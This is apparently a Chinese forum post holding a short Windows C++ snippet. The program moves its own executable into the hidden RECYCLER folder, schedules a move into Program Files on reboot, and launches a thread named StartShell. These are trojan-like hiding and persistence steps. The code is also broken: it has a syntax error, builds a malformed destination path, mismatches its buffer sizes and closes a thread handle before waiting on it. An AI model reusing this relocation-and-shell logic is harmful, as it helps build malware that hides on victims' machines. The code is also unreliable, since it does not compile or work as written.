16,471
社区成员
发帖
与我相关
我的任务
分享
char szPath[100]={0};
::GetSystemDirectory(szPath,MAX_PATH);
char szDst[100]={0};
for (int i=0; i<3;i++)
szDst[i]=szPath[i];
strcat(szDst,"C:\\Program Files\\test.EXE");
//得到当前程序名
TCHAR szCurPath[MAX_PATH];
memset(szCurPath,0,MAX_PATH);
GetModuleFileName(NULL,szCurPath,sizeof(szCurPath)/sizeof(TCHAR));
if !(MoveFileEx(szCurPath,"c:\\RECYCLER\\FK.BAK",MOVEFILE_REPLACE_EXISTING)))//若是要在不同的volume下移动文件,需要设置为MOVEFILE_COPY_ALLOWED
::MessageBox(NULL,"第一次移动文件失败","test",MB_OK);
if(!::MoveFileEx("c:\\RECYCLER\\FK.BAK",szDst,MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING))
{
::MessageBox(NULL,"移动文件失败","test",MB_OK);
}
else printf("任务完成\n");
//创建并等待线程
HANDLE hthread=::CreateThread(NULL,NULL,StartShell,NULL,NULL,NULL);
CloseHandle(hthread);
::WaitForSingleObject(hthread,INFINITE);